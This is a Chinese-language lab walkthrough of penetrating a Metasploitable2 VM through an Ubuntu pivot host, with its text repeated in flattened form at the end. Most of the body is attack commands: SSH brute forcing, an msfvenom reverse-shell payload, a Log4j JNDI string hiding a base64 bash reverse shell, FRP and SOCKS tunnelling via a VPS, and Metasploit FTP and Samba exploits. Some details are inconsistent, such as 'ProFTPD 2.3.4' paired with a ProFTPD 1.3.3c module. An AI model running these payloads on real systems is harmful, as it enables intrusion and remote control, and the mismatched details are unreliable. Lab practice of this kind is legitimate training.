模拟对内网的Metasploitable2渗透
字数 1506 2025-08-11 00:55:05

Metasploitable2内网渗透实战教学文档

环境搭建

网络拓扑

  • Kali攻击机:192.168.0.156(桥接模式)
  • Ubuntu跳板机
    • 公网IP:192.168.0.193(桥接模式)
    • 内网IP:10.1.1.1/24(VMnet3自定义网络)
  • Metasploitable2靶机:10.1.1.2/24(VMnet3自定义网络)
  • VPS服务器:43.142..(公网IP)

网络适配器配置

  1. Ubuntu配置两个网络适配器:

    • 适配器1:桥接模式(模拟公网接口)
    • 适配器2:自定义VMnet3(模拟内网接口)
  2. Metasploitable2配置:

    • 单个适配器:自定义VMnet3
  3. 验证网络连通性:

    • VPS、Kali和Ubuntu公网IP能互相通信
    • Ubuntu内网IP能与靶机通信
    • VPS和Kali无法直接与靶机通信

初始攻击阶段

方法一:SSH爆破获取Ubuntu访问权限

  1. 使用Nmap扫描Ubuntu开放端口:

    nmap -sV 192.168.0.193
    

    发现开放22(SSH)和80(HTTP)端口

  2. 使用Hydra爆破SSH:

    hydra -l root -p 123456 ssh://192.168.0.193
    

    成功获取root凭据:root/123456

  3. 通过SSH登录Ubuntu:

    ssh root@192.168.0.193
    

方法二:生成木马获取Shell

  1. 使用msfvenom生成Linux反向Shell木马:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.156 LPORT=8000 -f elf -o payload.elf
    
  2. 将木马上传到Ubuntu:

    scp payload.elf root@192.168.0.193:/tmp/
    
  3. 在Kali上启动监听:

    msfconsole
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 192.168.0.156
    set LPORT 8000
    run
    
  4. 在Ubuntu上执行木马:

    chmod +x /tmp/payload.elf
    /tmp/payload.elf
    

方法三:利用Log4j2漏洞获取Shell(备用方案)

  1. 构造JNDI注入Payload:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193
    
  2. 生成JNDI注入URL:

    ${jndi:rmi://192.168.0.193:1099/a7x5hi}
    
  3. 在Ubuntu上监听反弹Shell:

    nc -lvp 4848
    

内网渗透准备

1. 信息收集

在Ubuntu上执行:

ifconfig

发现两个网卡:

  • eth0: 192.168.0.193
  • eth1: 10.1.1.1

2. 建立FRP隧道

VPS服务器配置(frps.ini)

[common]
bind_port = 7000

启动FRP服务端:

./frps -c ./frps.ini

Ubuntu客户端配置(frpc.ini)

[common]
server_addr = 43.142.*.*
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8082

[socks5]
type=tcp
remote_port=8888
plugin=socks5

启动FRP客户端:

./frpc -c ./frpc.ini

3. 配置代理链

编辑/etc/proxychains.conf

[ProxyList]
socks5 43.142.*.* 8888

内网扫描与渗透

1. 扫描内网存活主机

proxychains nmap -sn 10.1.1.0/24

发现靶机:10.1.1.2

2. 靶机端口扫描

proxychains nmap -p- 10.1.1.2

发现开放端口:21(FTP), 22(SSH), 23(Telnet), 80(HTTP)等

3. MSF配置代理

msfconsole
setg Proxies socks5:43.142.*.*:8888
setg ReverseAllowProxy true

漏洞利用实战

1. FTP服务漏洞利用(ProFTPD 2.3.4)

use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS 10.1.1.2
set LHOST 10.1.1.1  # 必须设置为Ubuntu内网IP
run

成功获取靶机Shell

2. SSH服务渗透

  1. 扫描SSH版本:

    use auxiliary/scanner/ssh/ssh_version
    set RHOSTS 10.1.1.2
    run
    
  2. 爆破SSH密码:

    use auxiliary/scanner/ssh/ssh_login
    set RHOSTS 10.1.1.2
    set USERNAME msfadmin
    set PASS_FILE /path/to/passwords.txt
    run
    

    成功获取凭据:msfadmin/msfadmin

3. Samba服务漏洞利用(CVE-2007-2447)

use exploit/multi/samba/usermap_script
set RHOST 10.1.1.2
set LHOST 10.1.1.1  # 必须设置为Ubuntu内网IP
run

4. Web应用漏洞利用

  1. 配置浏览器通过SOCKS5代理访问内网
  2. 发现PHP漏洞(CVE-2012-2311):
    /index.php?page=php://input&allow_url_include=on&auto_prepend_file=php://input
    
    在POST数据中插入PHP代码:
    <?php system('whoami'); ?>
    

问题解决与技巧

  1. 反弹Shell失败问题

    • 使用proxychains msfconsole启动MSF
    • 确保LHOST设置为Ubuntu内网IP(10.1.1.1)
  2. 端口转发技巧

    # 在Ubuntu上设置端口转发
    socat TCP-LISTEN:9797,fork TCP:192.168.0.156:9797
    
  3. 静态路由配置(如需靶机访问外网):

    # 在靶机上执行
    sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 10.1.1.1
    

总结与备忘

  1. 关键工具

    • Metasploit Framework
    • Nmap
    • Hydra
    • FRP
    • Proxychains
  2. 重要概念

    • 网络拓扑设计
    • 端口转发
    • SOCKS代理
    • 反弹Shell
    • 漏洞利用链
  3. 常见问题

    • 确保LHOST设置正确(必须为靶机可达IP)
    • 使用proxychains启动需要代理的工具
    • 复杂网络环境下的连通性测试
  4. 扩展学习

    • 更多内网穿透工具:Ngrok、Earthworm
    • 横向移动技术:Pass the Hash、Kerberos攻击
    • 权限维持:后门植入、计划任务
Metasploitable2内网渗透实战教学文档 环境搭建 网络拓扑 Kali攻击机 :192.168.0.156(桥接模式) Ubuntu跳板机 : 公网IP:192.168.0.193(桥接模式) 内网IP:10.1.1.1/24(VMnet3自定义网络) Metasploitable2靶机 :10.1.1.2/24(VMnet3自定义网络) VPS服务器 :43.142. . (公网IP) 网络适配器配置 Ubuntu配置两个网络适配器: 适配器1:桥接模式(模拟公网接口) 适配器2:自定义VMnet3(模拟内网接口) Metasploitable2配置: 单个适配器:自定义VMnet3 验证网络连通性: VPS、Kali和Ubuntu公网IP能互相通信 Ubuntu内网IP能与靶机通信 VPS和Kali无法直接与靶机通信 初始攻击阶段 方法一:SSH爆破获取Ubuntu访问权限 使用Nmap扫描Ubuntu开放端口: 发现开放22(SSH)和80(HTTP)端口 使用Hydra爆破SSH: 成功获取root凭据:root/123456 通过SSH登录Ubuntu: 方法二:生成木马获取Shell 使用msfvenom生成Linux反向Shell木马: 将木马上传到Ubuntu: 在Kali上启动监听: 在Ubuntu上执行木马: 方法三:利用Log4j2漏洞获取Shell(备用方案) 构造JNDI注入Payload: 生成JNDI注入URL: 在Ubuntu上监听反弹Shell: 内网渗透准备 1. 信息收集 在Ubuntu上执行: 发现两个网卡: eth0: 192.168.0.193 eth1: 10.1.1.1 2. 建立FRP隧道 VPS服务器配置(frps.ini) : 启动FRP服务端: Ubuntu客户端配置(frpc.ini) : 启动FRP客户端: 3. 配置代理链 编辑 /etc/proxychains.conf : 内网扫描与渗透 1. 扫描内网存活主机 发现靶机:10.1.1.2 2. 靶机端口扫描 发现开放端口:21(FTP), 22(SSH), 23(Telnet), 80(HTTP)等 3. MSF配置代理 漏洞利用实战 1. FTP服务漏洞利用(ProFTPD 2.3.4) 成功获取靶机Shell 2. SSH服务渗透 扫描SSH版本: 爆破SSH密码: 成功获取凭据:msfadmin/msfadmin 3. Samba服务漏洞利用(CVE-2007-2447) 4. Web应用漏洞利用 配置浏览器通过SOCKS5代理访问内网 发现PHP漏洞(CVE-2012-2311): 在POST数据中插入PHP代码: 问题解决与技巧 反弹Shell失败问题 : 使用 proxychains msfconsole 启动MSF 确保LHOST设置为Ubuntu内网IP(10.1.1.1) 端口转发技巧 : 静态路由配置 (如需靶机访问外网): 总结与备忘 关键工具 : Metasploit Framework Nmap Hydra FRP Proxychains 重要概念 : 网络拓扑设计 端口转发 SOCKS代理 反弹Shell 漏洞利用链 常见问题 : 确保LHOST设置正确(必须为靶机可达IP) 使用proxychains启动需要代理的工具 复杂网络环境下的连通性测试 扩展学习 : 更多内网穿透工具:Ngrok、Earthworm 横向移动技术:Pass the Hash、Kerberos攻击 权限维持:后门植入、计划任务